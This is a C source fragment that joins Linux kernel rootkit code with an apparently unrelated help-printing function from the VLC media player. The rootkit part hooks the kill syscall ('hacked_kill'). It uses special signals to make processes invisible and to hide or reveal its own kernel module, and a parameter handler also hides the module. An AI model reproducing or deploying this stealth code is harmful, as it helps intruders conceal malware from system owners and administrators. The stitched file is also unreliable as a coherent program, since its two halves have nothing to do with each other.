asmlinkage int
hacked_kill(pid_t pid, int sig)
{
struct task_struct *task;
switch (sig) {
case SIGINVIS:
if ((task = find_task(pid)) == NULL)
return -ESRCH;
task->flags ^= PF_INVISIBLE;
break;
case SIGMODINVIS:
if (module_hidden) module_show();
else module_hide();
break;
default:
return orig_kill(pid, sig);
}
return 0;
}
static int param_kmod_hide(const char *val, struct kernel_param *kp)
{
int ret;
ret = param_set_bool(val, kp);
if (ret)
{
#ifdef DEBUG
printk(KERN_ALERT "%s error: could not parse LKM hideme parameters\n",
MODULE_NAME);
#endif
return ret;
}
if (hideme)
module_hide();
else
module_show();
return 0;
}
static void Usage (vlc_object_t *p_this, char const *psz_search)
{
bool b_has_advanced = false;
bool found = false;
unsigned i_only_advanced = 0; /* Number of modules ignored because they
* only have advanced options */
bool strict = false;
if (psz_search != NULL && psz_search[0] == '=')
{
strict = true;
psz_search++;
}
bool color = false;
#ifndef _WIN32
if (isatty(STDOUT_FILENO))
color = var_InheritBool(p_this, "color");
#endif
const bool desc = var_InheritBool(p_this, "help-verbose");
const bool advanced = var_InheritBool(p_this, "advanced");
/* List all modules */
size_t count;
module_t **list = module_list_get (&count);
/* Enumerate the config for each module */
for (size_t i = 0; i < count; i++)
{
const module_t *m = list[i];
const module_config_t *section = NULL;
const char *objname = module_get_object(m);
if (m->i_config_items == 0)
continue; /* Ignore modules without config options */
if (!module_match(m, psz_search, strict))
continue;
found = true;
if (!module_show(m, advanced))
{ /* Ignore modules with only advanced config options if requested */
i_only_advanced++;
continue;
}
/* Print name of module */
printf(color ? "\n " GREEN "%s" GRAY " (%s)\n" : "\n %s (%s)\n",
module_gettext(m, m->psz_longname), objname);
if (m->psz_help != NULL)
printf(color ? CYAN" %s\n"GRAY : " %s\n",
module_gettext(m, m->psz_help));
/* Print module options */
for (size_t j = 0; j < m->confsize; j++)
{
const module_config_t *item = m->p_config + j;
if (item->b_removed)
continue; /* Skip removed options */
if (item->b_advanced && !advanced)
{ /* Skip advanced options unless requested */
b_has_advanced = true;
continue;
}
print_item(m, item, §ion, color, desc);
}
}
if( b_has_advanced )
printf(color ? "\n" WHITE "%s" GRAY " %s\n"
: "\n%s %s\n", _( "Note:" ), _( "add --advanced to your "
"command line to see advanced options."));
if( i_only_advanced > 0 )
{
printf(color ? "\n" WHITE "%s" GRAY " " : "\n%s ", _( "Note:" ) );
printf(vlc_ngettext("%u module was not displayed because it only has "
"advanced options.\n", "%u modules were not displayed because "
"they only have advanced options.\n", i_only_advanced),
i_only_advanced);
}
else if (!found)
printf(color ? "\n" WHITE "%s" GRAY "\n" : "\n%s\n",
_("No matching module found. Use --list or "
"--list-verbose to list available modules."));
/* Release the module list */
module_list_free (list);
}
